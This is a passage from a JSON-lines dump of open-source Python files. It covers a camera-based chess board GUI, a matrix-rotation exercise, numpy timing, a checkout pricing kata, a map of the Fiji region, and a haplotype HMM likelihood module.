buttonheight,command = self.switchCam)\n switchButton.grid(column=6,row=1,columnspan=3)\n\n self.message = Tkinter.StringVar()\n\n messageLabel = Tkinter.Label(self,textvariable=self.message)\n messageLabel.grid(column=6,row=2,rowspan=2,columnspan=3)\n\n self.seekcam()\n\n self.loopCam()\n self.loopState()\n #rollback button click\n def rollback(self):\n if self.stage >= 3:\n self.logic.rollBack()\n self.boardSign = self.logic.getState()\n #open capture image dialog\n def frameDiag(self,prompt,title):\n d = captureDiag(self,self.viewer,prompt,title)\n self.wait_window(d)\n return d.value\n #calibrate button click\n def calibrate(self):\n if self.stage < 1:\n return\n if self.cabfold is None:\n empty = self.frameDiag('Click the button when the board is empty and in view','Empty Board')\n else:\n empty = cv2.imread(self.cabfold+r\"/empty.jpg\")\n if empty is None:\n return\n result, message = self.viewer.cabEmpty(empty)\n if not result:\n self.setMessage('Calibration Failed:\\n{}'.format(message))\n return\n if self.cabfold is None:\n setboard = self.frameDiag('Click the button when the board is in its starting position', 'starting board')\n else:\n setboard = cv2.imread(self.cabfold+r\"/set.jpg\")\n if setboard is None:\n return\n result,message = self.viewer.cabSet(message,setboard)\n if result:\n self.setMessage('Calibration sucessfull')\n self.stage = max(self.stage,2)\n else:\n self.setMessage('Calibration failed:\\n{}'.format(message))\n #set the message on the bottom right corner\n def setMessage(self,text,displayGameName=False):\n if displayGameName:\n text = self.logic.getGameName()+'\\n\\n\\n'+text\n self.message.set(text)\n #seek to next available camera\n def seekcam(self):\n while True:\n self.camind+=1\n sucess = self.viewer.switchSource(self.camind)\n if sucess:\n self.stage = max(self.stage,1)\n return\n elif self.camind == 0:\n raise Exception('could not connect to cam 0')\n else:\n self.camind = -1\n #new game button clicked\n def newGame(self):\n if self.stage < 2:\n return\n self.logic.startNewGame()\n self.setMessage('New game started!',True)\n self.stage = 3\n #switch camera button clicked\n def switchCam(self):\n self.seekcam()\n #loops the updatestate\n def loopState(self):\n self.stateUpdate()\n self.after(int(1000/ self.statefps), self.loopState)\n #converts an nparray to printable string\n @staticmethod\n def strNpBoard(np,w=0.0,b=1.0):\n ret = []\n for i in xrange(len(np)):\n for j in xrange(len(np)):\n toplace = np[i][j]\n if toplace == w:\n toplace = 'W'\n elif toplace == b:\n toplace = 'B'\n else:\n toplace = ':'\n ret.append(toplace)\n ret.append('\\n')\n return \"\".join(ret)\n #gets board from viewer and mutates the logic\n def stateUpdate(self):\n if self.stage < 3:\n return\n npboard = self.viewer.getBoard(self.viewer.getFrame())\n if npboard is None:\n self.setMessage(\"bad frame\")\n return\n mut = self.logic.mutate(board.fromnp(npboard),self.promotionval.get())\n if mut is not None:\n self.setMessage(mut, True)\n else:\n self.boardSign = self.logic.getState()\n nextplayer = self.logic.nextPlayer()\n self.boardState.set(nextplayer+\" plays next\\n\"+self.boardSign+\"========\\n\"+topApp.strNpBoard(npboard))\n #loops the camupdate\n def loopCam(self):\n self.camUpdate()\n self.after(1000 / self.camfps, self.loopCam)\n #updates the camera\n def camUpdate(self):\n frame = self.viewer.getFrame()\n frame = cv2.resize(frame,(400,300))\n cv2image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGBA)\n img = Image.fromarray(cv2image)\n imgtk = ImageTk.PhotoImage(image=img)\n self.imgtk = imgtk\n self.camLabel.configure(image=imgtk)","repo_name":"bentheiii/CheckMateWriter","sub_path":"topApp.py","file_name":"topApp.py","file_ext":"py","file_size_in_byte":6604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"18609474606","text":"class Solution(object):\n def rotate(self, matrix):\n \"\"\"\n :type matrix: List[List[int]]\n :rtype: None Do not return anything, modify matrix in-place instead.\n \"\"\"\n if not matrix:\n return \n for i in range(len(matrix)):\n print(matrix[i])\n \n n = len(matrix)\n for i in range(n):\n for j in range(n-1-i):\n matrix[i][j], matrix[n-1-j][n-1-i] = matrix[n-1-j][n-1-i], matrix[i][j]\n print('fisrt change')\n for i in range(len(matrix)):\n print(matrix[i])\n for i in range(n/2):\n for j in range(n):\n matrix[i][j], matrix[n-1-i][j] = matrix[n-1-i][j], matrix[i][j]\n print('second change')\n for i in range(len(matrix)):\n print(matrix[i])\n\n\nif __name__ == '__main__':\n mySolution = Solution()\n input_matrix = [\n [1,2,3],\n [4,5,6],\n [7,8,9]\n ]\n mySolution.rotate(input_matrix)\n input_matrix = [[1]]\n mySolution.rotate(input_matrix)\n input_matrix = []\n mySolution.rotate(input_matrix)\n input_matrix = [\n [1,2,3,4],\n [4,5,6,7],\n [7,8,9,0],\n [5,8,9,0]\n ]\n mySolution.rotate(input_matrix)\n\n\n \n","repo_name":"luluxing3/LeetCode","sub_path":"lulu/rotateImage.py","file_name":"rotateImage.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"34216308608","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jul 9 09:04:04 2021\n\n@author: Administrator\n\"\"\"\n\n#python_dot_product.py\n\nimport time\nimport numpy as np\nimport random as rn\n\ndef timer(func):\n def wrapper(*args, **kwargs):\n before = time.time()\n result = func(*args, **kwargs)\n after = time.time()\n return after - before, result\n return wrapper\n\n\ndef generate(size, range_):\n arr1 = [[rn.randrange(*range_) for _ in range(size[1])] for _ in range(size[0])]\n arr2 = [[rn.randrange(*range_) for _ in range(size[0])] for _ in range(size[1])]\n return [np.array(arr1),np.array(arr2)]\n\n\n@timer\ndef numpy_implementation(arr1, arr2):\n return np.dot(arr1, arr2)\n\n\nif __name__ == '__main__':\n # data = generate(size=(50,500), range_=(1, 100))\n # data2 = generate(size=(50,500), range_=(1, 100))\n data = [np.random.rand(496, 32), np.random.rand(32,33)]\n # numpy_time_taken, numpy_result = numpy_implementation(*data)\n # print(\"time taken with numpy:\", numpy_time_taken, \"seconds\")\n start = time.time()\n for i in range(1000):\n numpy_time_taken, numpy_result = numpy_implementation(*data)\n # numpy_time_taken, numpy_result = numpy_implementation(*data2)\n # time.sleep(.033)\n end = time.time()\n print(end-start)","repo_name":"uuneuralengineeringlab/XipppyServer","sub_path":"COB_Python/C_extensions/numpy_dot_product.py","file_name":"numpy_dot_product.py","file_ext":"py","file_size_in_byte":1285,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"6196262482","text":"from collections import Counter\n\n# nested dict to track sku prices & offers\nprices = {\n 'A' : {\n 'price' : 50,\n 'offers' : {\n '3A' : 130,\n '5A' : 200,\n },\n },\n 'B' : {\n 'price' : 30,\n 'offers' : { '2B' : 45 },\n },\n 'C' : {\n 'price' : 20,\n 'offers' : {},\n },\n 'D' : {\n 'price' : 15,\n 'offers' : {},\n },\n 'E' : {\n 'price' : 40,\n 'offers' : { '2E' : 'B' }\n },\n}\n\ndef sortOffersByHighestQuantity(offer):\n return int(offer[0][0])\n\n# noinspection PyUnusedLocal\n# skus = unicode string\ndef checkout(skus):\n\n # invalid input\n if not isinstance(skus, str):\n return -1\n else :\n\n basket, basketSum = {}, 0\n\n # count occurrences of each sku\n for sku in skus:\n if sku in prices:\n basket[sku] = basket.get(sku, 0) + 1\n else:\n return -1\n\n # calculate basket sum\n for item, itemCount in basket.items():\n # invalid skus\n if item not in prices:\n return -1\n else :\n # retrieve sku info\n price = prices[item]['price']\n offers = prices[item]['offers']\n\n # calculate cost of each sku\n while itemCount > 0:\n offerApplied = False\n\n # offer exist, apply higher offers first\n for offer, discount in sorted(offers.items(), key=sortOffersByHighestQuantity, reverse=True):\n \n # retrieve offer quantity (e.g. 3A)\n minOfferQuantity = int(offer[0])\n\n # apply offers until item count < minimum offer quantities\n if itemCount >= minOfferQuantity:\n\n # apply simple offers\n if isinstance(discount, int):\n basketSum += discount\n \n # apply discount on related item (e.g. 2E => -1B from basket)\n else:\n\n # check if basket contains related offer item\n relatedItem = discount\n relatedItemCount = basket.get(relatedItem, 0)\n\n # apply bogo offer, remove free item from basket\n if relatedItemCount > 0:\n basketSum += (price * minOfferQuantity)\n basket[relatedItem] -= 1\n else:\n basketSum += (price * itemCount)\n\n # offer applied, reduce total item count by offer minimum amount (e.g 4A-3A)\n itemCount -= minOfferQuantity\n offerApplied = True\n break\n\n # no offers applied\n if not offerApplied :\n basketSum += price\n itemCount -= 1\n\n return basketSum\n\nprint(checkout('AAA'))\n\n\n# def checkout(skus):\n\n# # invalid input\n# if not isinstance(skus, str):\n# return -1\n# else :\n\n# basket, basketSum = {}, float('inf')\n\n# # count occurrences of each sku\n# for sku in skus:\n# if sku in prices:\n# basket[sku] = basket.get(sku, 0) + 1\n# else:\n# return -1\n\n# # generate all offer combinations and select the lowest basket sum to give the customer the best offer\n# offerCombinations = [[]]\n\n# # calculate basket sum\n# for item, itemCount in basket.items():\n\n# # retrieve sku info\n# price = prices[item]['price']\n# offers = prices[item]['offers']\n# itemCombinations = []\n\n# # get offer combinations\n# for offer, discount in sorted(offers.items(), key=sortOffersByHighestQuantity, reverse=True):\n# # retrieve offer quantity (e.g. 3A)\n# offerQuantity = int(offer[0])\n# numCombinations = itemCount // offerQuantity\n# itemCombinations.extend([offer] * numCombinations)\n\n# offerCombinations = [ combination + [itemOffer] for combination in offerCombinations for itemOffer in itemCombinations ]\n\n# # try all offer combinations and pick the one with the lowest amount\n# for offerCombination in offerCombinations:\n# tempBasket = dict(basket)\n# tempBasketSum = 0\n\n# for itemOffer in offerCombination:\n# item = itemOffer[-1]\n# offerQuantity = int(itemOffer[0])\n# price = prices[item]['price']\n# offerPrice = prices[item]['offers'][itemOffer]\n\n# # apply simple offers\n# if isinstance(offerPrice, int):\n# offerCount = tempBasket[item] // offerQuantity\n# tempBasketSum += offerCount * offerPrice\n# tempBasket[item] -= offerCount * offerQuantity\n \n# # apply discount on related item (e.g. 2E => -1B from basket)\n# else:\n# # check if basket contains related offer item\n# relatedItem = offerPrice\n# relatedItemCount = tempBasket.get(relatedItem, 0)\n\n# # apply bogo offer, remove free item from basket\n# if relatedItemCount > 0:\n# tempBasketSum += (price * offerQuantity)\n# tempBasket[relatedItem] -= 1\n# tempBasket[item] -= offerQuantity\n# else:\n# basketSum += (price * itemCount)\n\n# for item, itemCount in tempBasket.items():\n# price = prices[item]['price']\n# tempBasketSum += itemCount * price\n \n# basketSum = min(basketSum, tempBasketSum)\n \n# return basketSum","repo_name":"DPNT-Sourcecode/CHK-adgc01","sub_path":"lib/solutions/CHK/checkout_solution.py","file_name":"checkout_solution.py","file_ext":"py","file_size_in_byte":6197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"70810123624","text":"import os # 文件\r\n\r\nimport matplotlib.colors as colors # 颜色\r\nimport matplotlib.pyplot as plt # 绘图\r\nimport numpy as np # 数组\r\nimport pandas as pd # 数组\r\nfrom mpl_toolkits.basemap import Basemap # 地图\r\n\r\n# 路径\r\nHOME_PATH = os.getcwd() # 主目录\r\nDATA_PATH = os.path.join(HOME_PATH, 'data') # 数据目录\r\nRESULT_PATH = os.path.join(HOME_PATH, 'result') # 结果目录\r\n\r\nif __name__ == \"__main__\":\r\n\r\n # 初始化画布\r\n plt.figure(figsize=(18, 18)) # 画布大小\r\n\r\n # 初始化地图\r\n fiji_map = Basemap(\r\n llcrnrlat=-42, # 地图下边界纬度:42°S\r\n llcrnrlon=163, # 地图左边界经度:163°E\r\n urcrnrlat=-8, # 地图上边界纬度:8°S\r\n urcrnrlon=192, # 地图右边界经度:172°W\r\n projection='cyl', # 投影方式:等距圆柱投影\r\n resolution='f', # 分辨率:最高\r\n )\r\n\r\n # 绘制浮雕地形图\r\n fiji_map.etopo(scale=2) # NOAA地形图\r\n\r\n # 绘制线\r\n fiji_map.drawparallels(\r\n circles=np.arange(-40.0, 5.0, 5.0), # 纬线间隔:5°\r\n color='aliceblue', # 纬线颜色\r\n linewidth=2, # 纬线宽度\r\n labels=[False, True, False, False], # 纬线刻度:右边界\r\n fontsize=28, # 刻度大小\r\n zorder=20, # 图层位置:次顶层\r\n ) # 纬线\r\n fiji_map.drawmeridians(\r\n meridians=np.arange(165.0, 195.0, 5.0), # 经线间隔:5°\r\n color='aliceblue', # 经线颜色\r\n linewidth=2, # 经线宽度\r\n labels=[False, False, False, True], # 经线刻度:下边界\r\n fontsize=28, # 刻度大小\r\n zorder=20, # 图层位置:次顶层\r\n ) # 经线\r\n fiji_map.drawmapboundary(\r\n color='black', # 边框颜色\r\n linewidth=2, # 边框宽度\r\n zorder=30, # 图层位置:最顶层\r\n ) # 边框\r\n\r\n # 绘制文本\r\n plt.title(\r\n label='Map near Fiji', # 标题文本\r\n fontsize=40, # 字体大小\r\n fontweight='bold', # 字体宽度\r\n pad=50, # 标题位置\r\n ) # 标题\r\n\r\n # 保存地图\r\n plt.savefig(\r\n fname=os.path.join(RESULT_PATH, 'map_near_fiji_etopo.png'), # 文件名\r\n dpi=240, # 分辨率\r\n ) # 保存图像\r\n # plt.show() # 显示图像\r\n","repo_name":"DengQisheng/Data-Visualization","sub_path":"homework_4/3_fiji_map_etopo.py","file_name":"3_fiji_map_etopo.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72092402985","text":"month = {1:\"January\", 2:\"February\", 3:\"March\", 4:\"April\"} # {} 중괄호 안에 요소를 직접 넣어 딕셔너리를 만들어 변수 month에 대입\nmonth[5] = \"May\" # 딕셔너리 month에 키가 5이고 값이 \"May\"인 요소 추가\nmonth[6] = \"June\" # 딕셔너리 month에 키가 6이고 값이 \"June\"인 요소 추가\nmonth[7] = \"July\" # 딕셔너리 month에 키가 7이고 값이 \"July\"인 요소 추가\nmonth[8] = \"Agust\" # 딕셔너리 month에 키가 8이고 값이 \"August\"인 요소 추가\nmonth[9] = \"September\" # 딕셔너리 month에 키가 9���고 값이 \"September\"인 요소 추가\nprint(month) # 표준 출력 함수 print() 호출하여 딕셔너리 month 출력\nprint() # 줄바꿈\n\nfrom random import randint # random 모듈의 함수 randint() 임포트\nfor i in range(5): # 변수 i에 0부터 5미만의 정수가 할당될 동안 반복\n r = randint(1, 9) # 변수 r에 randint() 함수 호출하여 1~9 중에서 난수 발생시켜 대입\n print(\"%d: %s\" % (r, month[r])) # 표준 출력 함수 print() 호출하여 변수 r과 딕셔너리 month에 키가 r인 요소의 값 출력\n # C 언어의 포맷팅 방식인 형식 지정자 사용하여 포맷팅","repo_name":"jectgenius/python","sub_path":"ch06/06-04monthdictionary.py","file_name":"06-04monthdictionary.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74868415142","text":"from ntpath import join\nfrom optparse import Values\nimport numpy as np\nimport pandas as pd\nfrom scipy.optimize import minimize\nimport time\nfrom numba import jit\nimport scipy\n# from scipy.special import logsumexp\nfrom numpy import logaddexp\nfrom scipy.stats import pearsonr\nfrom tqdm import tqdm\n\n\n\n# def trans_X(x,y,d,rho,k):\n# '''\n# Compute the transition probability P(X_{j+1}=y| X_j=x)\n# Args:\n# rho: recombination parameter \n# d: physical distance between j and j+1 \n# Outputs:\n# probability of P(X_{j+1}=x'| X_j=x)\n# '''\n# if x == y:\n# return np.exp(-rho*d/k)+(1-np.exp(-rho*d/k))(1/k)\n# else:\n# return (1-np.exp(-rho*d/k))*(1/k)\n\n\n\n# @jit(nopython=True)\ndef logsumexp(a, axis=None, b=None, keepdims=False, return_sign=False):\n \"\"\"Compute the log of the sum of exponentials of input elements.\n Parameters\n ----------\n a : array_like\n Input array.\n axis : None or int or tuple of ints, optional\n Axis or axes over which the sum is taken. By default `axis` is None,\n and all elements are summed.\n .. versionadded:: 0.11.0\n keepdims : bool, optional\n If this is set to True, the axes which are reduced are left in the\n result as dimensions with size one. With this option, the result\n will broadcast correctly against the original array.\n .. versionadded:: 0.15.0\n b : array-like, optional\n Scaling factor for exp(`a`) must be of the same shape as `a` or\n broadcastable to `a`. These values may be negative in order to\n implement subtraction.\n .. versionadded:: 0.12.0\n return_sign : bool, optional\n If this is set to True, the result will be a pair containing sign\n information; if False, results that are negative will be returned\n as NaN. Default is False (no sign information).\n .. versionadded:: 0.16.0\n Returns\n -------\n res : ndarray\n The result, ``np.log(np.sum(np.exp(a)))`` calculated in a numerically\n more stable way. If `b` is given then ``np.log(np.sum(b*np.exp(a)))``\n is returned.\n sgn : ndarray\n If return_sign is True, this will be an array of floating-point\n numbers matching res and +1, 0, or -1 depending on the sign\n of the result. If False, only one result is returned.\n See Also\n --------\n numpy.logaddexp, numpy.logaddexp2\n Notes\n -----\n NumPy has a logaddexp function which is very similar to `logsumexp`, but\n only handles two arguments. `logaddexp.reduce` is similar to this\n function, but may be less stable.\n\n \"\"\"\n # a = _asarray_validated(a, check_finite=False)\n # a = a.flatten()\n\n b = np.array(b)\n # a = a*b\n # if b is not None:\n # a, b = np.broadcast_arrays(a, b)\n # if np.any(b == 0):\n # a = a + 0. # promote to at least float\n # a[b == 0] = -np.inf\n a = np.array(a)\n a_max = np.max(a)\n # if a_max.ndim > 0:\n # a_max[~np.isfinite(a_max)] = 0\n if not np.isfinite(a_max):\n a_max = 0\n\n # if b is not None:\n b = np.asarray(b)\n tmp = b * np.exp(a - a_max)\n # else:\n # tmp = np.exp(a - a_max)\n\n # suppress warnings about log of zero\n # with np.errstate(divide='ignore'):\n s = np.sum(tmp)\n # if return_sign:\n # sgn = np.sign(s)\n # s *= sgn # /= makes more sense but we need zero -> zero\n out = np.log(s)\n\n # if not keepdims:\n # a_max = np.squeeze(a_max, axis=axis)\n out += a_max\n\n # if return_sign:\n # return out, sgn\n # else:\n return out\n\n\n@jit(nopython=True)\ndef gammax(theta, hs,h_origs,k):\n '''\n Compute the P(h_{k+1, j+1}| X_{j+1}=x,h1,..,h_k)\n Args;\n h: value of h_{k+1, j}\n h_orig: value of h given it comes from jth reference\n theta: error rate need to be estimated\n '''\n \n boolean_array = hs==h_origs\n intercept = np.ones(k)\n \n return intercept*0.5*theta/(k+theta)+boolean_array*k/(k+theta)\n\n# @jit(nopython=True)\ndef gammax_log(logtheta, hs,h_origs,k):\n '''\n Compute the P(h_{k+1, j+1}| X_{j+1}=x,h1,..,h_k)\n Args;\n h: value of h_{k+1, j}\n h_orig: value of h given it comes from jth reference\n theta: error rate need to be estimated\n return: log gamma \n '''\n \n boolean_array = (hs==h_origs) + 1e-10\n intercept = np.ones(k)\n return np.log(intercept) + np.log(0.5) + logtheta - 2*logsumexp(np.array([np.log(k),logtheta]),b=[1]*2)+np.log(boolean_array) + np.log(k) \n\n# def fill(theta, alphas0, j, M, k):\n# '''\n# j: Initial value should be 0\n# recursively solving alpha_{j+1}\n# '''\n# alphas = np.zeros(k)\n# # for i in range(k):\n# hs = H[ref_order[:k],j] # H is a k by S matrix with reference haplotypes\n# h_origs = H[ref_order[:k],j] # Assumption, the joint probability is added sequentially\n# gamma = gammax(theta, hs,h_origs,k)\n# # print(gamma)\n# d = Distlist[j] - Distlist[j-1] # Distlist records the physical distance at each loci\n# pj = np.exp(-rhos[j-1]*d/k)\n# if j == M-1: ## j means j+1 in the algorithm A5\n# alphas = gamma*(pj*alphas0 + (1-pj)*np.sum(alphas0)/k)\n# return alphas\n# else:\n# alphas = gamma*(pj*alphas0 + (1-pj)*np.sum(alphas0)/k)\n# alphas1 = fill(theta,alphas,j+1, M, k)\n# return alphas1\n\n\n\n# @jit(nopython=True)\ndef fill_norec_long_nb(logtheta, alphas0, M, k,ref_order,testhap=np.array([])):\n '''\n j: Initial value should be 0\n recursively solving alpha_{j+1}\n Add more precision\n factor: a log based constant\n '''\n logalphas0 = np.log(alphas0)\n logalphas = np.zeros(k)\n for j in range(1, M):\n if testhap.size >0:\n hs = testhap[j]\n else:\n hs = H[ref_order[k],j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[ref_order[:k],j] \n gamma = gammax(np.exp(logtheta),hs,h_origs,k) # times a constant factor to avoid underflow\n # print('loggamma is: ')\n # print(loggamma)\n # pj = np.exp(-(GM[j+1]-GM[j])/k)\n # log sum of exp(-(GM[j+1]-GM[j])/k + logalphas0) + sum (np.exp(logalphas0))\n # term0: -gm/k + logalphas0; 1 x k\n term0=(-(GM[j]-GM[j-1])/k+logalphas0).reshape(-1,1)\n # term1: (logalpha_i(x') - logk); 1 x k => need to be broadcast\n term1=(logalphas0-np.log(k)) # k terms, plus sign\n # add12 = np.logaddexp(term0, term1)\n # term2: logalpha_i(x') - logk - gm/k; 1 x k => need to be broadcast to k by k\n # term2=(logalphas0-np.log(k)-(GM[j]-GM[j-1]+1e-15)/k) # k terms, minus sign\n # term12 = scipy.special.logsumexp(np.concatenate((term1, term2)))\n sumlogalphas0 = logsumexp(logalphas0,b=[1]*len(logalphas0))\n sumlogalphas0 = sumlogalphas0 + logsumexp([0,(-GM[j]+GM[j-1]-1e-20)/k],b=[1,-1]) - np.log(k)\n # sumlogalphas0 = sumlogalphas0+np.log(1 - np.exp(-(GM[j]-GM[j-1]+1e-10)/k))-np.log(k)\n # print(sumlogalphas0)\n if np.isnan(sumlogalphas0):\n break\n logsumterms = np.concatenate((term0.reshape(-1,1), np.repeat(sumlogalphas0.reshape(1,-1),k,axis=0)),axis=1)\n # print(f'logsumterms shape is {logsumterms.shape}')\n logsumtermsnew = np.zeros(k)\n for i in range(k):\n logsumtermsnew[i] = logsumexp(logsumterms[i],b=[1]*len(logsumterms[i]))\n # logsumterms = logsumexp(logsumterms,axis=1).flatten()\n logalphas = logsumtermsnew + np.log(gamma)\n logalphas0 = logalphas\n\n # for w in range(k):\n # logsumterms = np.concatenate((term0[w,:],term1,term2))\n # # logsumterms = np.concatenate((term0.reshape(-1,1), np.repeat(term1.reshape(1,-1),k,axis=0), np.repeat(term2.reshape(1,-1),k,axis=0)))\n # logalphas[w]=logsumexp(logsumterms,b=[1]*(k+1)+[-1]*k)+np.log(gamma[w])\n logalphas0 = logalphas\n return logalphas0\n\n\n\n# @jit(nopython=True)\ndef fill_norec_long(logtheta, alphas0, M, k,ref_order,testhap=np.array([])):\n '''\n j: Initial value should be 0\n recursively solving alpha_{j+1}\n Add more precision\n factor: a log based constant\n '''\n logalphas0 = np.log(alphas0)\n for j in range(1, M):\n if testhap.size >0:\n hs = testhap[j]\n else:\n hs = H[ref_order[k],j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[ref_order[:k],j] \n gamma = gammax(np.exp(logtheta),hs,h_origs,k) # times a constant factor to avoid underflow\n # print('gamma is: ')\n # print(gamma)\n # pj = np.exp(-(GM[j+1]-GM[j])/k)\n # log sum of exp(-(GM[j+1]-GM[j])/k + logalphas0) + sum (np.exp(logalphas0))\n # term0: -gm/k + logalphas0; 1 x k\n term0=(-(GM[j]-GM[j-1]+Genetic_dist)/k+logalphas0).reshape(-1,1) # -rho *d /k + logalpha_j-1\n # term1: (logalpha_i(x') - logk); 1 x k => need to be broadcast\n # term1=(logalphas0-np.log(k)) # k terms, plus sign\n # add12 = np.logaddexp(term0, term1)\n # term2: logalpha_i(x') - logk - gm/k; 1 x k => need to be broadcast to k by k\n # term2=(logalphas0-np.log(k)-(GM[j]-GM[j-1]+1e-15)/k) # k terms, minus sign\n # term12 = scipy.special.logsumexp(np.concatenate((term1, term2)))\n term1 = scipy.special.logsumexp(logalphas0 - np.log(k)) # log sum of alphas\n term2 = scipy.special.logsumexp(logalphas0-(GM[j]-GM[j-1]+Genetic_dist)/k - np.log(k))\n sumlogalphas0 = scipy.special.logsumexp([term1,term2],b=[1,-1])\n\n # sumlogalphas0 = sumlogalphas0+np.log(1 - np.exp(-(GM[j]-GM[j-1]+1e-10)/k))-np.log(k)\n # print(sumlogalphas0)\n # if np.isnan(sumlogalphas0):\n # break\n logsumterms = np.concatenate((term0.reshape(-1,1), np.repeat(sumlogalphas0.reshape(1,-1),k,axis=0)),axis=1)\n # print(f'logsumterms shape is {logsumterms.shape}')\n logsumterms = scipy.special.logsumexp(logsumterms,axis=1).flatten()\n logalphas0 = logsumterms + np.log(gamma)\n # print(logalphas0)\n # for w in range(k):\n # logsumterms = np.concatenate((term0[w,:],term1,term2))\n # # logsumterms = np.concatenate((term0.reshape(-1,1), np.repeat(term1.reshape(1,-1),k,axis=0), np.repeat(term2.reshape(1,-1),k,axis=0)))\n # logalphas[w]=logsumexp(logsumterms,b=[1]*(k+1)+[-1]*k)+np.log(gamma[w])\n return logalphas0\n\n\n# @jit(nopython=True)\ndef jointH_long(logtheta,S,ref_order,maxperm=20):\n '''\n Learn the error parameter theta\n '''\n # perm = np.minimum(maxperm,int(np.ceil(0.2*K)))\n logpi = 0\n for k,_ in enumerate(ref_order):\n if k >= len(ref_order)-2:\n break\n alphas0 = init_alpha(ref_order,k+1, np.exp(logtheta))\n # print('alphas0')\n # print(alphas0)\n # alpha_k = fill(theta, alpha0[ref_order[:(k+1)]],0,S,k+1) # k is 0 based, so need to add by 1 \n logalpha_k = fill_norec_long_nb(logtheta, alphas0, S, k+1, order) # fill_norec_long(logtheta, alphas0, M, k,ref_order)\n # print(logalpha_k)\n # logpi_k = -np.log10(np.sum(alpha_k))\n logpi_k = -logsumexp(logalpha_k,b=[1]*len(logalpha_k))/np.log(10)\n print(logpi_k)\n # logpi_k = -np.log10(np.sum(np.exp(logalpha_k))) # -factor*np.log10(np.exp(0.1))\n logpi+=logpi_k\n return logpi\n\n\n\n@jit(nopython=True)\ndef jointH(logtheta,S,ref_order):\n '''\n Learn the error parameter theta\n Args:\n logtheta: the log of the mutation rate\n S: number of snps\n ref_order: the order of computing the reference haplotypes\n Return:\n Negative log likelihood of P(h1,...,hk)\n '''\n # perm = np.minimum(maxperm,int(np.ceil(0.2*K)))\n logpi = 0\n theta = np.exp(logtheta)\n for k,_ in enumerate(ref_order):\n if k > len(ref_order)-2:\n break\n alphas0 = init_alpha(ref_order,k+1, theta)\n alpha_k = fill_norec(theta, alphas0, S, k+1,ref_order) # non recursive call\n logpi_k = -np.log10(np.sum(alpha_k))\n print('logpi_k is: ')\n print(k, ': ', logpi_k)\n logpi+=logpi_k\n return logpi\n\n\ndef jointH_test(theta,S,K,testhap):\n '''\n Learn the error parameter theta\n Args:\n logtheta: the log value of theta \n S: number of snps used\n K: number of reference haplotypes\n testhap: the log likelihood of testing haplotype\n Return:\n Negative log likelihood of P(h_test| h_trains)\n '''\n # perm = np.minimum(maxperm,int(np.ceil(0.2*K)))\n logpi = 0\n order = np.arange(K)\n logtheta = np.log(theta)\n alphas0 = init_alpha(order,K, theta,testsnp=testhap[0])\n # print(f'alphas0: {alphas0}')\n alpha_k = fill_norec(theta, alphas0, S, K, order,testhap=testhap) # non recursive call\n # print(alpha_k)\n # logpi_k = -scipy.special(logalpha_k,b=[1]*(k+1))/np.log(10)\n # print(f'alpha_k: {alpha_k}')\n logpi_k = -np.log10(np.sum(alpha_k))\n logpi+=logpi_k\n return logpi\n\n\ndef jointH_test_log(theta,S,K,testhap):\n '''\n Learn the error parameter theta\n Args:\n logtheta: the log value of theta \n S: number of snps used\n K: number of reference haplotypes\n testhap: the log likelihood of testing haplotype\n Return:\n Negative log likelihood of P(h_test| h_trains)\n '''\n # perm = np.minimum(maxperm,int(np.ceil(0.2*K)))\n logpi = 0\n order = np.arange(K)\n logtheta = np.log(theta)\n # theta = np.exp(logtheta)\n alphas0 = init_alpha(order,K, theta,testsnp=testhap[0])\n # print(f'alphas0 long: {alphas0}')\n logalpha_k = fill_norec_long(logtheta, alphas0, S, K, order,testhap=testhap) # fill_norec_long(logtheta, alphas0, M, k,ref_order)\n # print(logalpha_k)\n # logpi_k = -np.log10(np.sum(alpha_k))\n # print(f'long alpha_k is {np.exp(logalpha_k)}')\n logpi_k = -scipy.special.logsumexp(logalpha_k)/np.log(10)\n logpi+=logpi_k\n return logpi\n\n# @jit(nopython=True)\ndef fill_norec(theta, alphas0, M, k,ref_order,testhap=np.array([])):\n '''\n j: Initial value should be 0\n recursively solving alpha_{j+1} \n '''\n # alphas = np.zeros(k)\n # logalphas0 = np.log2(alphas0)\n # for i in range(k):\n # print(f'fill number of ref is {k}')\n # print(f'ref length is {len(ref_order)}')\n # print(f'ref end is {ref_order[k]}')\n for j in range(1,M):\n if testhap.size >0:\n hs = testhap[j]\n else:\n hs = H[ref_order[k],j] # H is a k by S matrix with reference haplotypes; hs is h x j\n h_origs = H[ref_order[:k],j] \n gamma = gammax(theta,hs,h_origs,k)\n # print(f'gamma is {gamma}')\n pj = np.exp(-(GM[j]-GM[j-1])/k)\n alphas = gamma*(pj*alphas0 + (1-pj)*np.sum(alphas0)/k) \n # if j < 10:\n # print('alphas')\n # print(alphas)\n alphas0 = alphas\n # logalphas0 = logalphas\n return alphas\n\n# @jit(nopython=True)\ndef init_alpha(ref_order,k, theta, testsnp=-1):\n '''\n This function compute the probability of P(h=k+1, X1=k); \n or the joint probability of having k+1 reference haplotype and observing snps in haplotype k in the first locus\n alpha is a K vector, depending on K\n P(h=1, X1=1) = P(h=k+1| X1=j) * P(X1=j) = gammax(theta, H[ref_order[0],j],h_origs,j)*1/K\n '''\n if testsnp==-1:\n testsnp = H[ref_order[k],0]\n\n alphas0 = gammax(theta, testsnp,H[ref_order[:k],0],k)*1/k\n return alphas0\n\n\n\n### python version ### \ndef gammax_p(theta, hs,h_origs,k):\n '''\n Compute the P(h_{k+1, j+1}| X_{j+1}=x,h1,..,h_k)\n Args;\n h: value of h_{k+1, j}\n h_orig: value of h given it comes from jth reference\n theta: error rate need to be estimated\n '''\n \n boolean_array = hs==h_origs\n intercept = np.ones(k)\n \n return 